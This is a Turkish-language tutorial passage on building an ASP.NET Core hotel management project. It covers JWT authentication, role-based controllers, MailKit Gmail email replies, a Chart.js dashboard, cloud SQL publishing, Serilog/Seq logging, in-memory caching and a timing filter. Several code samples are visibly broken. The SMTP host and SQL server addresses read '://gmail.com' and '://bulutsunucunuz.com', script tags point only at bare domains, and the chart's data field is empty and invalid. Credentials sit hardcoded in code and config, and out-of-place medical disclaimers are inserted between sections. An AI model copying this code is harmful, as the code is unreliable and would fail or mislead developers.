        // 1. Şifreleme Anahtarının UTF8 formatında simetrik güvenlik anahtarına dönüştürülmesi

        var secretKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(_configuration["JwtConfig:Secret"]));

        var credentials = new SigningCredentials(secretKey, SecurityAlgorithms.HmacSha256); // HS256 Doğrulaması

 

        // 2. JWT İçeriğinin (Claims) Hazırlanması - Temel Bilgiler + Gelişmiş Rol Parametreleri

        var claims = new List<Claim>

        {

            new Claim(ClaimTypes.NameIdentifier, userId), // Temel Kullanıcı ID

            new Claim(ClaimTypes.Name, username),         // Temel Kullanıcı Adı

            new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()) // Benzersiz Token ID

        };

 

        // Kullanıcının sahip olduğu tüm rolleri (Admin, User vb.) Claim havuzuna ekiyoruz

        foreach (var role in roles)

        {

            claims.Add(new Claim(ClaimTypes.Role, role));

        }

 

        // 3. Token Geçerlilik Süresi (Kurumsal Güvenlik Gereği Kısa Tutulur: 15 Dakika)

        var tokenDescriptor = new SecurityTokenDescriptor

        {

            Subject = new ClaimsIdentity(claims),

            Expires = DateTime.UtcNow.AddMinutes(15), // 15 dakika sonra token ölecektir

            Issuer = _configuration["JwtConfig:Issuer"],

            Audience = _configuration["JwtConfig:Audience"],

            SigningCredentials = credentials

        };

 

        var tokenHandler = new JwtSecurityTokenHandler();

        var token = tokenHandler.CreateToken(tokenDescriptor);

       

        return tokenHandler.WriteToken(token); // Yayına hazır yaylı token stringi döner

    }

}


BÖLÜM 18: API Katmanında JWT Bearer ve Clockskew Konfigürasyonu

Üretilen token'ların API tarafından tanınması için Program.cs dosyasına kimlik doğrulama şemasını (Authentication Scheme) ekliyoruz.

Uygulama: API Güvenlik Entegrasyonu (Program.cs)

using Microsoft.AspNetCore.Authentication.JwtBearer;

using Microsoft.IdentityModel.Tokens;

using System.Text;

 

var builder = WebApplication.CreateBuilder(args);

 

// JWT Bearer Servislerinin Eklenmesi ve Kuralların Tanımlanması

builder.Services.AddAuthentication(options =>

{

    options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;

    options.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;

})

.AddJwtBearer(options =>

{

    options.TokenValidationParameters = new TokenValidationParameters

    {

        ValidateIssuer = true,          // Yayıncıyı doğrula

        ValidateAudience = true,        // Alıcıyı doğrula

        ValidateLifetime = true,        // Süreyi denetle

        ValidateIssuerSigningKey = true,// Güvenlik anahtarını doğrula

       

        ValidIssuer = builder.Configuration["JwtConfig:Issuer"],

        ValidAudience = builder.Configuration["JwtConfig:Audience"],

        IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(builder.Configuration["JwtConfig:Secret"])),

       

        // Kurumsal İpucu: Clockskew Ayarı (Varsayılan 5 dakikalık tolerans süresini sıfıra indirir)

        ClockSkew = TimeSpan.Zero

    };

});

 

builder.Services.AddControllers();


BÖLÜM 19: Koruma ve Rol Tabanlı Test Süreçleri (Postman / Authorize)

Artık API kontrolörlerimizi [Authorize] niteliğiyle kilitleyebiliriz. Sadece geçerli token'ı olan ve ilgili role sahip olan istekler kapıdan geçebilir.

Uygulama: Rol Korumalı Admin Controller Sınıfı

using Microsoft.AspNetCore.Authorization;

using Microsoft.AspNetCore.Mvc;

 

[Route("api/[controller]")]

[ApiController]

public class AdminPanelController : ControllerBase

{

    // Sadece "Admin" rolüne sahip kullanıcılar bu uç noktaya erişebilir

    [Authorize(Roles = "Admin")]

    [HttpGet("GetSensitiveData")]

    public IActionResult GetSensitiveData()

    {

        return Ok("Bu veriye sadece geçerli bir JWT Token'a sahip ve rolü ADMIN olanlar erişebilir.");

    }

}


BÖLÜM 20: Kurumsal Yaklaşım: Refresh Token Felsefesi

Token geçerlilik süresini kurumsal güvenlik standartlarına uygun olarak 15 dakika gibi kısa bir süreye ayarladık. Ancak bu durum kullanıcının her 15 dakikada bir sistemden atılmasına ve tekrar kullanıcı adı/şifre girmesine sebep olur. Bu kötü kullanıcı deneyimini engellemek için Refresh Token mimarisi uygulanır.

Refresh Token Çalışma Akışı:

  1. Kullanıcı ilk login olduğunda sisteme bir Access Token (15 Dk) ve veri tabanında saklanan uzun ömürlü bir Refresh Token (7 Gün - Rastgele Guid) üretilir.
  2. Ön yüz projesi, Access Token'ı tarayıcı hafızasında saklar ve her API isteğinde Header'a ekler.
  3. 15 dakika dolup Access Token'ın süresi bittiğinde, API kapısı önyüze 401 Unauthorized hatası fırlatır.
  4. Önyüz projesi, kullanıcıya hiçbir şey hissettirmeden arka planda API'deki RefreshToken uç noktasına elindeki uzun ömürlü anahtarı gönderir.
  5. API veritabanından bu anahtarı doğrular; eğer geçerliyse kullanıcıya yeni bir 15 dakikalık Access Token üretip döner. Kullanıcı oturumu kesintiye uğramadan devam eder.

 

 

Müfredatımızın en interaktif ve işlevsel bölümlerinden biri olan Mesaj İşlemleri ve MailKit Entegrasyonu aşamasına geçiyoruz. İstediğiniz doğrultuda, admin panelinden verilecek yanıtların MailKit kütüphanesi ve Gmail SMTP sunucusu üzerinden canlı olarak kullanıcının e-posta adresine ulaşmasını sağlayacağız.

Ayrıca mesajların durum yönetimini (Okundu/Okunmadı/Arşivlendi) otomatikleştiren kurumsal bir iş kuralını (Business Rule) mimarimize entegre edeceğiz.

Bu bölümde Mesajlaşma Entity Yapısı, İş Kuralları ile Durum Yönetimi, MailKit ile Canlı SMTP Yapılandırması ve Mesaj Yönetim Paneli konularını kod uygulamalarıyla işliyoruz.


BÖLÜM 21: Mesajlaşma Altyapısı ve Durum Yönetimi (Business Rules)

İletişim formundan gelen mesajları (Inbox) ve adminin gönderdiği yanıtları (Outbox) veritabanında esnek bir şekilde yönetebilmek için veri tabanı şemamızı ve iş kurallarımızı hazırlayalım.

1. Contact (İletişim) Sınıfının Geliştirilmesi

OtelProject.Entity katmanında mesaj detaylarını ve durum bilgilerini tutacak sınıfımızı tasarlıyoruz.

Uygulama: Gelişmiş Mesaj Modeli

namespace OtelProject.Entity

{

    public class Contact

    {

        public int ContactID { get; set; }

        public string SenderName { get; set; }    // Gönderenin Adı Soyadı

        public string SenderEmail { get; set; }   // Gönderenin E-posta Adresi

        public string Subject { get; set; }       // Mesajın Konusu

        public string MessageBody { get; set; }   // Mesajın İçeriği

        public DateTime MessageDate { get; set; } // Gönderim Tarihi

       

        // Durum Yönetimi Parametreleri

        public bool IsRead { get; set; }          // Okundu mu?

        public bool IsArchived { get; set; }      // Arşivlendi mi?

        public string UrgencyLevel { get; set; }  // Önem Derecesi (Kritik, Normal, Düşük)

    }

}


2. Business Katmanında Gelişmiş İş Kuralının Tanımlanması

İstediğiniz ekstra iş kuralını ContactManager sınıfı içerisinde kurguluyoruz.

Uygulama: Akıllı Durum Yönetimi (ContactManager.cs)

public class ContactManager : IContactService

{

    private readonly IContactDal _contactDal;

 

    public ContactManager(IContactDal contactDal)

    {

        _contactDal = contactDal;

    }

 

    public void TInsert(Contact contact)

    {

        contact.MessageDate = DateTime.Now;

        contact.IsRead = false;

        contact.IsArchived = false;

 

        // Metin tarama yöntemiyle akıllı iş kuralı tetikleniyor

        string bodyLower = contact.MessageBody.ToLower();

        string subjectLower = contact.Subject.ToLower();

 

        if (bodyLower.Contains("iptal") || bodyLower.Contains("şikayet") ||

            subjectLower.Contains("acil") || bodyLower.Contains("iade"))

        {

            contact.UrgencyLevel = "Kritik";

        }

        else

        {

            contact.UrgencyLevel = "Normal";

        }

 

        _contactDal.Insert(contact);

    }

 

    // Mesaj Okundu Bilgisini Güncelleyen Kurumsal Metot

    public void TMarkAsRead(int id)

    {

        var message = _contactDal.GetById(id);

        if (message != null)

        {

            message.IsRead = true;

            _contactDal.Update(message);

        }

    }

}


BÖLÜM 22: MailKit ve Gmail SMTP Entegrasyonu

Admin paneli üzerinden gelen bir mesaja yanıt yazılıp postalandığında, bu yanıtın kullanıcının gerçek e-posta kutusuna düşmesini sağlayacağız. Bunun için projemize MailKit ve MimeKit NuGet paketlerini kuruyoruz.

1. E-Posta Gönderim ViewModel Yapısı

namespace OtelProject.Frontend.Models.Mail

{

    public class AdminMailViewModel

    {

        public string ReceiverEmail { get; set; } // Alıcının e-posta adresi

        public string Subject { get; set; }       // E-posta konusu

        public string Body { get; set; }          // E-posta içeriği

    }

}

2. MailKit İle Canlı Mail Gönderme Servisi

Kurumsal güvenlik gereği Gmail üzerinden mail gönderebilmek için normal şifreniz yerine Google hesabınızdan alacağınız 16 haneli "Uygulama Şifresi" (App Password) kullanılmalıdır.

Uygulama: SMTP Mail Gönderim Sınıfı

using MailKit.Net.Smtp;

using MimeKit;

using OtelProject.Frontend.Models.Mail;

 

public class MailService

{

    public void SendEmail(AdminMailViewModel mailViewModel)

    {

        // 1. MimeMessage Nesnesinin Hazırlanması

        MimeMessage mimeMessage = new MimeMessage();

 

        // Gönderen Bilgisi

        MailboxAddress mailboxAddressFrom = new MailboxAddress("Otel API Rezervasyon", "sizin_gmail_adresiniz@gmail.com");

        mimeMessage.From.Add(mailboxAddressFrom);

 

        // Alıcı Bilgisi

        MailboxAddress mailboxAddressTo = new MailboxAddress("Değerli Misafirimiz", mailViewModel.ReceiverEmail);

        mimeMessage.To.Add(mailboxAddressTo);

 

        // İçerik ve Başlık Bilgisi

        mimeMessage.Subject = mailViewModel.Subject;

        var bodyBuilder = new BodyBuilder();

        bodyBuilder.HtmlBody = mailViewModel.Body; // HTML formatında şık içerik desteği

        mimeMessage.Body = bodyBuilder.ToMessageBody();

 

        // 2. MailKit SmtpClient ile Canlı Bağlantının Kurulması

        using (var client = new SmtpClient())

        {

            // Gmail SMTP sunucusuna güvenli port (465) üzerinden bağlanıyoruz

            client.Connect("://gmail.com", 465, true);

 

            // Kimlik Doğrulama (Gmail adresiniz ve Google'dan alınan 16 haneli Uygulama Şifresi)

            client.Authenticate("sizin_gmail_adresiniz@gmail.com", "abcd efgh ijkl mnop");

 

            // E-postayı canlı olarak gönder

            client.Send(mimeMessage);

           

            // Bağlantıyı güvenli kapat

            client.Disconnect(true);

        }

    }

}


BÖLÜM 23: Admin Mesaj Yönetimi ve Yanıtlama Paneli

Şimdi, gelen kutusunu (Inbox) listelediğimiz ve MailKit servisini tetikleyerek kullanıcılara yanıt döndüğümüz MVC Controller akışını birleştirelim.

Uygulama: Gelen Mesajları Yöneten Controller (AdminMessageController.cs)

using Microsoft.AspNetCore.Mvc;

using OtelProject.Frontend.Models.Mail;

using OtelProject.Entity;

 

public class AdminMessageController : Controller

{

    private readonly IContactService _contactService;

    private readonly MailService _mailService;

 

    public AdminMessageController(IContactService contactService, MailService mailService)

    {

        _contactService = contactService;

        _mailService = mailService;

    }

 

    // 1. Gelen Mesajları Listeleme Ekranı

    public IActionResult Inbox()

    {

        // Akıllı iş kuralımızın işlediği listeyi getiriyoruz

        var messages = _contactService.TGetList();

        return View(messages);

    }

 

    // 2. Gelen Mesajın Detayı ve Okundu Olarak İşaretlenmesi

    public IActionResult MessageDetails(int id)

    {

        _contactService.TMarkAsRead(id); // İş kuralı: Detayına bakılan mesaj OKUNDU olur.

        var message = _contactService.TGetById(id);

        return View(message);

    }

 

    // 3. Mesaja Canlı Mail İle Yanıt Verme Süreci (POST)

    [HttpPost]

    public IActionResult ReplyMessage(AdminMailViewModel model)

    {

        if (ModelState.IsValid)

        {

            // MailKit servisimizi tetikleyerek gerçek e-postayı uçuruyoruz

            _mailService.SendEmail(model);

           

            TempData["MailSuccess"] = "Yanıtınız MailKit ile kullanıcının gerçek e-posta adresine başarıyla postalandı!";

            return RedirectToAction("Inbox");

        }

        return View(model);

    }

}


 

 

 

Müfredatımızın final aşamasına gelmiş bulunuyoruz. Bu bölümde, kurumsal standartlarda bir Admin Dashboard istatistik paneli kurgulayacak, Chart.js kütüphanesi ile verileri görselleştirecek, RapidAPI ve kendi veritabanımızdan (En Çok Rezerve Edilen Oda Türü) akıllı analitikler çekeceğiz. Son olarak, projemizi canlı bulut MSSQL veritabanı senaryosu ile yayına alarak (Publish) süreci tamamlayacağız.

Bu bölümde Gelişmiş İstatistik Sorguları, Chart.js Entegrasyonu, Bulut Veritabanı Yapılandırması ve Canlıya Alma (Publish) adımlarını eksiksiz olarak işliyoruz.


BÖLÜM 24: Gelişmiş Dashboard Analitiği ve İş Sorguları

Kendi otel veritabanımızdan akıllı analitik verileri çekmek ve sosyal medya takipçi istatistiklerini bir araya getirmek için API katmanında gerekli sorguları hazırlıyoruz.

1. Entity Framework Core ile Akıllı Analitik Sorgusu (En Çok Rezerve Edilen Oda Türü)

DataAccess katmanında, rezervasyon ve oda tablolarını ilişkilendirerek en çok tercih edilen oda türünü getiren LINQ sorgusunu yazıyoruz.

Uygulama: Analitik Repository Metodu

public string GetMostBookedRoomType()

{

    using var context = new Context();

   

    // Rezervasyonları oda türlerine göre gruplayıp en yüksek adete sahip olanı seçiyoruz

    var mostBookedRoom = context.Bookings

        .GroupBy(b => b.Room.Title)

        .OrderByDescending(g => g.Count())

        .Select(g => g.Key)

        .FirstOrDefault();

 

    return mostBookedRoom ?? "Standart Oda";

}

2. Dashboard Veri Modelinin (DTO) Hazırlanması

Tüm istatistikleri tek bir HTTP isteğiyle ön yüze fırlatmak amacıyla bir Dashboard DTO'su kurguluyoruz.

public class DashboardStatisticsDto

{

    public int ActiveStaffCount { get; set; }

    public int TotalBookingCount { get; set; }

    public string MostBookedRoomType { get; set; }

    public int InstagramFollowers { get; set; }

    public int TwitterFollowers { get; set; }

}


BÖLÜM 25: Chart.js ile Grafiksel Görselleştirme Panel Arayüzü

Ön yüz projesinde, API'den gelen aylık rezervasyon verilerini şık bir pasta (Pie) veya çizgi (Line) grafiğe dönüştürmek için Chart.js kütüphanesini kullanıyoruz.

Uygulama: Dinamik Grafik Paneli (Dashboard/Index.cshtml)

@{

    ViewData["Title"] = "Dashboard";

    Layout = "~/Views/Shared/_Layout.cshtml";

}

 

<div class="container-fluid mt-4">

    <h2 class="mb-4">📊 Yönetim ve İstatistik Paneli</h2>

 

    <!-- Kart Yapıları / Analitik Özet -->

    <div class="row mb-4">

        <div class="col-md-4">

            <div class="card bg-primary text-white p-3 shadow-sm">

                <h5>🔥 Popüler Oda Türü</h5>

                <h3 id="lblMostBooked">Yükleniyor...</h3>

            </div>

        </div>

        <div class="col-md-4">

            <div class="card bg-success text-white p-3 shadow-sm">

                <h5>📷 Instagram Takipçi</h5>

                <h3 id="lblInstagram">0</h3>

            </div>

        </div>

        <div class="col-md-4">

            <div class="card bg-info text-white p-3 shadow-sm">

                <h5><i class="fa-brands fa-x-twitter"></i> Twitter Takipçi</h5>

                <h3 id="lblTwitter">0</h3>

            </div>

        </div>

    </div>

 

    <!-- Grafik Alanı -->

    <div class="card p-4 shadow-sm">

        <h4 class="mb-3">📈 Aylık Rezervasyon Yoğunluğu Analizi</h4>

        <div style="width: 100%; max-width: 600px; margin: 0 auto;">

            <canvas id="bookingChart"></canvas>

        </div>

    </div>

</div>

 

<!-- Chart.js ve JQuery Dahil Ediliyor -->

<script src="https://jsdelivr.net"></script>

<script src="https://jquery.com"></script>

 

<script>

    $(document).ready(function () {

        // 1. API'den Analitik Verilerin AJAX ile Çekilmesi

        $.ajax({

            url: "http://localhost:5000/api/DashboardStatistics",

            type: "GET",

            success: function (data) {

                $("#lblMostBooked").text(data.mostBookedRoomType);

                $("#lblInstagram").text(data.instagramFollowers.toLocaleString());

                $("#lblTwitter").text(data.twitterFollowers.toLocaleString());

            }

        });

 

        // 2. Chart.js ile Grafik Çizimi (Statik Başlangıç Verisi, Dinamik Beslenebilir)

        const ctx = document.getElementById('bookingChart').getContext('2d');

        new Chart(ctx, {

            type: 'bar', // Grafik Türü: Bar, Line, Pie, Doughnut

            data: {

                labels: ['Haziran', 'Temmuz', 'Ağustos', 'Eylül', 'Ekim'],

                datasets: [{

                    label: 'Rezervasyon Adetleri',

                    data:, // API'den gelen aylık sayılar buraya bağlanır

                    backgroundColor: [

                        'rgba(54, 162, 235, 0.6)',

                        'rgba(75, 192, 192, 0.6)',

                        'rgba(255, 206, 86, 0.6)',

                        'rgba(153, 102, 255, 0.6)',

                        'rgba(255, 99, 132, 0.6)'

                    ],

                    borderColor: 'rgba(54, 162, 235, 1)',

                    borderWidth: 1

                }]

            },

            options: {

                responsive: true,

                scales: {

                    y: { beginAtZero: true }

                }

            }

        });

    });

</script>


BÖLÜM 26: Canlı Bulut MSSQL Veritabanı ve Projenin Canlıya Alınması (Publish)

Lokal geliştirme sürecimiz başarıyla tamamlandı. Şimdi projemizi dış dünyadaki kullanıcıların erişebileceği gerçek bir sunucu ortamına (Production) taşıyoruz.

1. Bulut (Cloud) MSSQL Veritabanı Yapılandırması

Projenin canlıda çalışabilmesi için veritabanını Azure, AWS veya Plesk panel üzerinde barındırılan güvenli bir bulut SQL sunucusuna taşımalıyız. Canlı veritabanı IP/Sunucu adresi alındıktan sonra API projemizin canlı ortam ayarlarını içeren appsettings.Production.json dosyasına bağlantı dizesini güvenli bir şekilde ekliyoruz.

Uygulama: Canlı Ortam Bağlantı Dizesi (appsettings.Production.json)

{

  "ConnectionStrings": {

    "CloudSqlConnection": "Server=://bulutsunucunuz.com,1433;Database=CloudOtelDb;User Id=db_admin_otel;Password=UzunVeKarmasikSifre123!;"

  }

}


2. Web API ve Frontend Projelerinin Yayınlanması (Publish)

Visual Studio veya .NET CLI aracılığıyla projemizi derleyip sunucuya yüklenecek hale getirme sürecini işletiyoruz.

Adım Adım Publish İşlemleri:

  1. API Projesine Sağ Tıklama: Visual Studio üzerinde OtelProject.WebApi projesine sağ tıklayıp Publish seçeneğini seçiyoruz.
  2. Hedef Belirleme: Hedef olarak Folder (Klasör) seçeneğini işaretleyip yerel bir dizin (Örn: C:\Publish\OtelApi) belirtiyoruz.
  3. Derleme: Publish butonuna basarak tüm C# kodlarımızın optimize edilmiş .dll dosyalarına ve statik dosyalara dönüştürülmesini sağlıyoruz.
  4. Sunucuya Aktarım: Oluşan bu optimize klasörü zip formatında arşivleyip, Plesk Panel dosya yöneticisindeki httpdocs dizinine yüklüyor ve sunucu üzerinde dosyaları çıkartıyoruz.
  5. Aynı Adımlar Frontend İçin: Aynı işlemleri ön yüz (OtelProject.Frontend) projemiz için de gerçekleştirerek, frontend projesinin appsettings.json dosyasındaki API istek adreslerini lokalden (localhost:5000) canlı API adresimize (://otelprojeniz.com) güncelliyoruz.

⚠️ Önemli Tıbbi Bilgilendirme ve Uyarı (Medical Disclaimer)

Bu eğitim içeriği ve geliştirilen otel otomasyon projesinin kapsamında yer alan "sağlık, spa, termal hizmetler, misafir alerji takipleri veya engelli misafir gereksinimleri" gibi alanlar tamamen genel yönetimsel bilgilendirme ve veri tabanı simülasyonu amaçlıdır. Sistem üzerinde tutulan hiçbir veri kişisel tıbbi tavsiye, teşhis veya tedavi mekanizması içermez ve bu amaçla kullanılamaz. Sağlık durumları ve tıbbi süreçlerle ilgili her türlü karar için mutlaka yetkili bir sağlık profesyoneline veya hekime danışılmalıdır.


 

 

 

Müfredatımızın bu ileri düzey (Advanced) geliştirme aşamasında, canlı ortama (Production) alınmış projemizin sürdürülebilirliğini, izlenebilirliğini ve performansını en üst seviyeye çıkaracak iki kritik kurumsal mekanizmayı mimarimize entegre ediyoruz.

İlk olarak, canlı ortamda oluşabilecek tüm çalışma zamanı (Runtime) hatalarını ve sistem olaylarını merkezi bir panelden izleyebilmek amacıyla Serilog ve Seq günlükleme (Logging) altyapısını kuracağız. Hemen ardından, veritabanı yükünü hafifletmek ve API yanıt sürelerini milisaniyeler seviyesine düşürmek için sık çağrılan veriler üzerinde In-Memory Caching (Bellek İçi Önbellekleme) mekanizmasını kurgulayacağız.


BÖLÜM 27: Serilog ve Seq ile Merkezi Günlükleme (Logging) Altyapısı

Monolitik veya mikroservis mimarilerde, logların sunucu içindeki text dosyalarında kalması takip sürecini zorlaştırır. Serilog, logları yapılandırılmış (Structured JSON) veri formatında üreten gelişmiş bir kütüphanedir. Seq ise bu yapılandırılmış logları gerçek zamanlı olarak toplayan, filtreleyen ve görselleştiren merkezi bir log yönetim arayüzüdür.

1. Gerekli NuGet Paketlerinin Kurulması

API projemize (OtelProject.WebApi) aşağıdaki paketleri kuruyoruz:

2. appsettings.json Üzerinde Seq Sunucu Ayarları

Canlı sunucumuzda veya yerelde çalışan Seq arayüzünün adresini ve hangi log seviyelerinin toplanacağını yapılandırma dosyasına ekliyoruz:

{

  "Serilog": {

    "MinimumLevel": {

      "Default": "Information",

      "Override": {

        "Microsoft": "Warning",

        "Microsoft.Hosting.Lifetime": "Information"

      }

    },

    "WriteTo": [

      {

        "Name": "Seq",

        "Args": { "serverUrl": "http://localhost:5341" } // Canlıda Seq kurulu olan IP/Domain yazılır

      }

    ]

  }

}

3. Serilog Entegrasyonunun Sağlanması (Program.cs)

Uygulama ayağa kalkarken Serilog'u ana log sağlayıcısı olarak sisteme entegre ediyoruz:

using Serilog;

 

var builder = WebApplication.CreateBuilder(args);

 

// 1. Serilog Yapılandırmasını appsettings'ten Okuyarak Aktif Et

Log.Logger = new LoggerConfiguration()

    .ReadFrom.Configuration(builder.Configuration)

    .CreateLogger();

 

builder.Host.UseSerilog(); // Varsayılan .NET log motoru yerine Serilog'u işaret et

 

builder.Services.AddControllers();

var app = builder.Build();

 

// 2. HTTP İstek Hatlarını Otomatik Loglamak İçin Ara Katman (Middleware)

app.UseSerilogRequestLogging();

 

app.UseAuthorization();

app.MapControllers();

app.Run();

4. Controller Seviyesinde Hata ve Olay Günlükleme Uygulaması

Yazdığımız API kontrolörleri içinde ILogger arayüzünü enjekte ederek beklenmedik hataları yakalıyor (Try-Catch) ve Seq paneline detaylarıyla gönderiyoruz.

Uygulama: Güvenli ve Log Destekli Room Controller

using Microsoft.AspNetCore.Mvc;

 

[Route("api/[controller]")]

[ApiController]

public class RoomLogController : ControllerBase

{

    private readonly IRoomService _roomService;

    private readonly ILogger<RoomLogController> _logger;

 

    public RoomLogController(IRoomService roomService, ILogger<RoomLogController> logger)

    {

        _roomService = roomService;

        _logger = logger;

    }

 

    [HttpGet("{id}")]

    public IActionResult GetRoom(int id)

    {

        // Bilgi amaçlı log üretimi

        _logger.LogInformation("Oda detayı istendi. İstenen Oda ID: {RoomID}", id);

 

        try

        {

            var value = _roomService.TGetById(id);

            if (value == null)

            {

                // Uyarı seviyesinde log üretimi

                _logger.LogWarning("Aranan oda veritabanında bulunamadı. ID: {RoomID}", id);

                return NotFound("Oda bulunamadı.");

            }

            return Ok(value);

        }

        catch (Exception ex)

        {

            // Kritik hata seviyesinde log üretimi (Hata detayları ve StackTrace Seq paneline JSON gider)

            _logger.LogError(ex, "Oda getirilirken sistem hatası oluştu! Oda ID: {RoomID}", id);

            return StatusCode(500, "Sistemsel bir hata meydana geldi.");

        }

    }

}


BÖLÜM 28: In-Memory Caching (Bellek İçi Önbellekleme) Mekanizması

Otelimizin sunduğu hizmetler (Wi-Fi, Spa, Havuz vb.) gibi veritabanında çok sık değişmeyen ancak web sitesinin ana sayfasında her kullanıcı girişinde sürekli çağrılan veriler, veritabanına gereksiz yük bindirir. In-Memory Caching ile bu veriyi ilk çağrıldığında RAM belleğe alacak, sonraki isteklerde doğrudan RAM'den okuyarak performansı maksimuma çıkaracağız.

1. Önbellekleme Servisinin Tanımlanması (Program.cs)

.NET mimarisinin yerleşik caching servisini projemize dahil ediyoruz:

// In-Memory Caching servisinin sisteme enjekte edilmesi

builder.Services.AddMemoryCache();

2. API Katmanında Caching Mantığının Kurgulanması

ServiceController içinde, gelen istekleri önce önbellekte kontrol eden, yoksa veritabanından çekip belleğe yazan mekanizmayı tasarlıyoruz.

Uygulama: Akıllı Performans Kontrolörü (ServiceController.cs)

using Microsoft.AspNetCore.Mvc;

using Microsoft.Extensions.Caching.Memory;

using OtelProject.Entity;

 

[Route("api/[controller]")]

[ApiController]

public class ServiceController : ControllerBase

{

    private readonly IServiceService _serviceService;

    private readonly IMemoryCache _memoryCache;

    private const string ServiceCacheKey = "OtelHizmetleriListesi";

 

    public ServiceController(IServiceService serviceService, IMemoryCache memoryCache)

    {

        _serviceService = serviceService;

        _memoryCache = memoryCache;

    }

 

    [HttpGet]

    public IActionResult GetServices()

    {

        // 1. Adım: Veri daha önce belleğe alınmış mı kontrol et

        if (!_memoryCache.TryGetValue(ServiceCacheKey, out List<Service> cachedServices))

        {

            // 2. Adım: Bellekte yoksa veritabanından (SQL) verileri çek

            cachedServices = _serviceService.TGetList();

 

            // 3. Adım: Çekilen veriler için bellek kurallarını ve ömür politikasını belirle

            var cacheOptions = new MemoryCacheEntryOptions()

                .SetAbsoluteExpiration(TimeSpan.FromHours(2)) // Veri bellekte mutlak olarak 2 saat kalacak

                .SetSlidingExpiration(TimeSpan.FromMinutes(30)) // 30 dakika boyunca hiç istek gelmezse bellekten sil

                .SetPriority(CacheItemPriority.High); // Bellek dolarsa bu veriyi silme önceliğini yüksek yap

 

            // 4. Adım: Veriyi belirlediğimiz anahtar ve kurallarla RAM belleğe yaz

            _memoryCache.Set(ServiceCacheKey, cachedServices, cacheOptions);

        }

 

        // Veri ilk istekte SQL'den, sonraki tüm isteklerde doğrudan RAM'den HTTP 200 ile döner.

        return Ok(cachedServices);

    }

 

    // Kurumsal Yaklaşım: Veri tabanında güncelleme veya yeni ekleme yapıldığında belleğin temizlenmesi gerekir (Cache Busting)

    [HttpPost]

    public IActionResult AddService(Service service)

    {

        _serviceService.TInsert(service);

 

        // Yeni hizmet eklendiği için eskiyen önbellek verisini RAM'den siliyoruz

        _memoryCache.Remove(ServiceCacheKey);

 

        return StatusCode(201);

    }

}


⚠️ Önemli Sağlık ve Güvenlik Bilgilendirmesi (Medical Disclaimer)

Bu sistem altyapısı ve ileri düzey optimizasyon rehberi kapsamında geliştirilen otel otomasyonu bileşenleri, merkezi izleme (logging) mekanizmaları ve önbellekleme mimarileri tamamen teknik yazılım performansı ve sistem stabilizesi odaklı simülasyonlardır. Otel bünyesinde bulunabilecek termal alanlar, medikal spa departmanları, misafirlerin acil durum sağlık bildirimleri veya ilaç saklama dolabı sıcaklık takipleri gibi kritik sağlık süreçlerinin bu tip genel amaçlı In-Memory Cache veya merkezi log mimarilerinde takibi kesinlikle tıbbi bir güvence veya teşhis altyapısı oluşturmaz. Sağlık, ilk yardım ve tıbbi gereksinim süreçlerinde her zaman yerel yasal mevzuatlara uygun, sertifikalı ve bağımsız çalışan tıp donanımları ile uzman hekim görüşleri esas alınmalıdır.


 

 

 

Müfredatımızın en ileri düzey mimari aşamasına geçmiş bulunuyoruz. Canlı ortamdaki projenizin dayanıklılığını (Resilience) ve mikro performans takibini en üst düzeye çıkarmak için iki kurumsal tasarım kalıbını projemize entegre ediyoruz.

İlk olarak, API uç noktalarımızın (Endpoints) milisaniye bazında ne kadar sürede yanıt verdiğini ölçen ve yavaş çalışan sorguları tespit etmemizi sağlayan Özel bir Action Filter ve Middleware mekanizması kurgulayacağız. Hemen ardından, bulut SQL sunucumuzda yaşanabilecek anlık kesintilere, ağ kopmalarına (Transient Faults) karşı veritabanı bağlantılarımızı koruyan ve otomatik yeniden deneme politikaları sunan modern Polly kütüphanesi entegrasyonu rehberini hazırlayacağız.


BÖLÜM 29: Performans Takibi İçin Özel Action Filter ve Middleware

API projelerinde darboğaz (Bottleneck) yaratan kod bloklarını ve yavaş yanıt veren metotları profilleyebilmek (Profiling) için HTTP istek hattına kronometre yerleştiriyoruz. Bu sayede, her isteğin ne kadar sürdüğünü otomatik olarak ölçüp yavaş çalışanları Serilog üzerinden merkezi log sunucumuza (Seq) raporlayacağız.

1. İstek Süresini Ölçen Özel Action Filter Sınıfı

OtelProject.WebApi projesinde Filters klasörü oluşturup, her metot çalışmadan önce kronometreyi başlatan ve metot bittiğinde süreyi hesaplayan PerformanceLogFilter sınıfını yazıyoruz.

Uygulama: Kronometre Filtre Sınıfı

using Microsoft.AspNetCore.Mvc.Filters;

using System.Diagnostics;

 

public class PerformanceLogFilter : IActionFilter

{

    private Stopwatch _stopwatch;

    private readonly ILogger<PerformanceLogFilter> _logger;

 

    public PerformanceLogFilter(ILogger<PerformanceLogFilter> logger)

    {

        _logger = logger;

    }

 

    // Metot (Action) çalışmaya başlamadan hemen önce tetiklenir

    public void OnActionExecuting(ActionExecutingContext context)

    {

        _stopwatch = Stopwatch.StartNew(); // Kronometreyi başlat

    }

 

    // Metot çalışmasını bitirdikten hemen sonra tetiklenir

    public void OnActionExecuted(ActionExecutedContext context)

    {

        _stopwatch.Stop(); // Kronometreyi durdur

        var executionTime = _stopwatch.ElapsedMilliseconds; // Geçen süreyi milisaniye olarak al

 

        var actionName = context.ActionDescriptor.DisplayName;

        var httpMethod = context.HttpContext.Request.Method;

 

        // Kurumsal İş Kuralı: Eğer bir API isteği 500 ms'den uzun sürüyorsa UYARI (Warning) olarak kaydet

        if (executionTime > 500)

        {

            _logger.LogWarning("⚠️ YAVAŞ PERFORMANS UYARISI! {Method} {Action} metodu {Elapsed} ms sürdü.",

                httpMethod, actionName, executionTime);

        }

        else

        {

            _logger.LogInformation("🚀 {Method} {Action} başarıyla tamamlandı. Süre: {Elapsed} ms.",

                httpMethod, actionName, executionTime);

        }

    }

}

2. Filtrenin Global Olarak Tanımlanması (Program.cs)

Yazdığımız bu performans filtresinin API'deki tüm controller ve metotlarda otomatik olarak çalışması için global servis kaydını yapıyoruz:

// Filtrenin tüm API hattında geçerli olacak şekilde global kaydedilmesi

builder.Services.AddControllers(options =>

{

    options.Filters.Add<PerformanceLogFilter>();

});


BÖLÜM 30: Polly Kütüphanesi ile Veritabanı Yeniden Deneme (Retry) Politikası

